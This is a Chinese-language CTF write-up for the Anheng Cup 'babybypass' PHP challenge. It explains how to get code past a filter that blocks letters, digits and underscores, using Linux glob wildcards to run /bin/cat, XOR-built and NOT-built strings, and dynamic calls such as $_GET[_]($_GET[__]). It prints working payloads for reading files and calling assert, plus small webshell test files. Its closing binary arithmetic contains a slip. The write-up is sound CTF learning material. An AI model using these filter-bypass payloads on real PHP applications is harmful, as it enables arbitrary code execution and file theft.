##安恒杯babybypass writeup
image.png
这题拿到后见很熟悉就用paylaod直接做,结果做不出来,原来跟之前的不一样,$也被过滤了,使用php不用字母数字下划线写shell的方法不管用了,不过有大佬用其他方法做出来了

巧妙地利用linux下的通配符
这里也是很有技巧的点,在Linux系统中,是支持正则的,某些你忘记某个字符情况下,你可以使用? * %等字符来替代,当然这里想要执行命令,需要极限的利用这个方法,经过测试:
linux下

1
/???/??? => /bin/cat

问题来了,知道通配符能找到目录,但怎么执行命令取回结果呢?要想得到读文件或者命令执行的内容,我们需要一个用来输出的东西,但是我们又没有常规的函数,经过了一段时间的思考,想到了<?=$_?>,这个方式。
<?= 就相当于php中的echo , 在linux下, 例如echo ls 执行ls命令
我们找到了这个关键的正则,我们先来读一下源码

1
2
$_=`/???/???%20/???/???/????/?????.???`;?><?=$_?>
"/bin/cat /var/www/html/index.php"

但是发现超出长度了,然后我们继续缩短长度,想到了用*来匹配文件夹下的所有文件:

1
$_=`/???/???%20/???/???/????/*`;?><?=$_?>

但是$和_ 被过滤了
?> 是为了闭合前面的code然后去执行后面的php语句
改进为

1
?><?=`/???/???%20/???/???/????/*`?>

image.png

发现关键点

1
2
3
4
function getFlag(){
$flag = file_get_contents('/flag');
echo $flag;
}

我们知道了flag的文件位置在根目录,所以直接利用通配符去读flag文件就好

?><?=/???/???%20/????;?>
http://101.71.29.5:10001/?code=?><?=/???/???%20/????;?>
image.png

##参考
一些不包含数字和字母的webshell之方法一

记一次拿webshell踩过的坑

无字母数字webshell之提高篇

安恒杯月赛writeup

CTF题目思考–极限利用

##参考学习 一

###这里我们先自己写一个test.php 和 flag.php 用于测试
无字母无数字webshell
以下内容为对 上面这篇博客的学习

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
include 'flag.php';
if(isset($_GET['code'])){
$code = $_GET['code'];
echo($code);
if(strlen($code)>40){
die("Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
// @eval($code);
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>

1
2
3
4
5
6
<?php
function getFlag(){
$flag = "111111111111111111";
echo $flag;
};
?>

####在PHP中,两个字符串执行异或操作以后,得到的还是一个字符串。所以,我们想得到a-z中某个字母,就找到某两个非字母、数字的字符,他们的异或结果是这个字母即可。

###尝试构造

image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
var_dump('#'^'|'); //得到字符 _
echo("<br>");
var_dump('.'^'~'); //得到字符 P
echo("<br>");
var_dump('/'^'`'); //得到字符 0
echo("<br>");
var_dump('|'^'/'); //得到字符 S
echo("<br>");
var_dump('{'^'/'); //得到字符 T
echo("<br>");
$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");
echo($__)
//变量$__值为字符串'_POST'
?>

浏览器解析后
image.png

2webshell.php

image.png

1
2
3
4
5
6
7
8
9
<?php
//@是为了抑制错误显示
@$_++; //$_=NULL=0 $_++=1
echo(!$_);
echo("<br>");
echo($_);
$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/"); //_POST
//${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
?>

image.png
执行一下webshell.php
image.png

####为了节省字符长度,这里字符可以一起异或使用

1
2
3
4
<?php
var_dump("#./|{"^"|~`//"); //_POST
var_dump("`{{{"^"?<>/"); //_GET
?>

webshell01

1
2
3
4
5
6
<?php
@$_++;
$__='#./|{'^'|~`//';
${$__}[!$_](${$__}[$_]);
?>
执行一下webshell01

image.png

##构造payload

1
2
3
4
5
6
$_="`{{{"^"?<>/";                         //_GET
${$_}[_](${$_}[__]); //$_GET[_]($_GET[__])
&_=getFlag //执行函数 eval("getFlag(null)")

payload如下
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=getFlag

image.png

image.png
但是字符串大于四十?

输出一下$_GET[‘code’]
image.png
哎哟 肯定少于四十了

成功得到flag
image.png
再执行一下webshell试试

1
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=assert&__=phpinfo()

image.png

###方法二
如果在加上不能有&_字符呢?

只要eval函数执行了“getFlag()”字符串即可,那么绕过正则匹配即可:

把getFlag取反然后URL编码:

1
?code=$_=~%98%9A%8B%B9%93%9E%98;$_();

这里为什么正则没有检测到,因为后端自动进行了解码,解码为非字母和数字字符,而eval执行了取反还原为getFlag字符
image.png
既然可以利用取反~进行编码绕过正则检测,那么也可以取反编_GET ,_POST

参考学习 二

一些不包含数字和字母的webshell之方法一
test.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
include 'flag.php';
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>50){
die("Too Long.");
}
if(preg_match("/[A-Za-z0-9_]+/",$code)){
die("Not Allowed.");
}
//pre_match(code长度很长可以绕过)
@eval($code);
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>

flag.php

1
2
3
4
5
6
<?php
function getFlag(){
$flag = "111111111111111111";
echo $flag;
};
?>

###思路 (一)

1
构造一个变量_ 变量的值为_GET 执行$_GET[]($_GET[])

我们是要用非字母、数字的字符经过各种变化,最后能构造出我们所需要的字符,然后利用php允许动态函数执行的特点,拼接一个函数名

####payload-one

1
?code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=getFlag

image.png
下划线被过滤了 所以payload-one失效

####payload-two
image.png

image.png

image.png

1
2
${"!"^"~"}="]%];,<<"^":@)}@][";${"!"^"~"}();
$_=getFlag;_();

构造一个变量_ 变量的值为 getFlag 执行 __();
总的来说,是要传进去两个参数t和code 会执行 @eval($code) 但是code限制了传进去的长度不能超过50,而且会进行正则匹配 pre_match()
这里正则匹配禁用了大写A-Z,小写A-Z,数字0-9,以及下划线_, 我们看到可以通过调用getFLAG来得到flag

####在php中,两个字符串执行异或操作后,得到的还是一个字符串,我们想到可以用两个非字母、数字的字符,他们异或得到我们所需要的字母。

这里我们先了解一下异或(^)的概念
异或两个字母 首先把他们转化成ASCII码值 这里有python的两个函数特别好用

####chr()函数
chr() 用一个范围在 range(256)内的(就是0~255)整数作参数,返回一个对应的字符
chr(i)
参数 (i) 可以是10进制也可以是16进制的形式的数字
返回值 返回值是当前整数对应的ascii字符

####ord()函数
ord() 函数是 chr() 函数(对于8位的ASCII字符串)或 unichr() 函数(对于Unicode对象)的配对函数,它以一个字符(长度为1的字符串)作为参数,返回对应的 ASCII 数值,或者 Unicode 数值,如果所给的 Unicode 字符超出了你的 Python 定义范围,则会引发一个 TypeError 的异常

ord(c) 参数 c 是字符
返回值是对应的十进制整数

ord(“A”) 字母转ASCII char(65) ASCII转字母

A的ASCII值是65,对应的二进制值是01000001
?的ASCII值是63,对应的二进制值是00111111
异或的二进制的值是10000000,对应的ASCII值是126,对应的字符串的值就是~了
image.png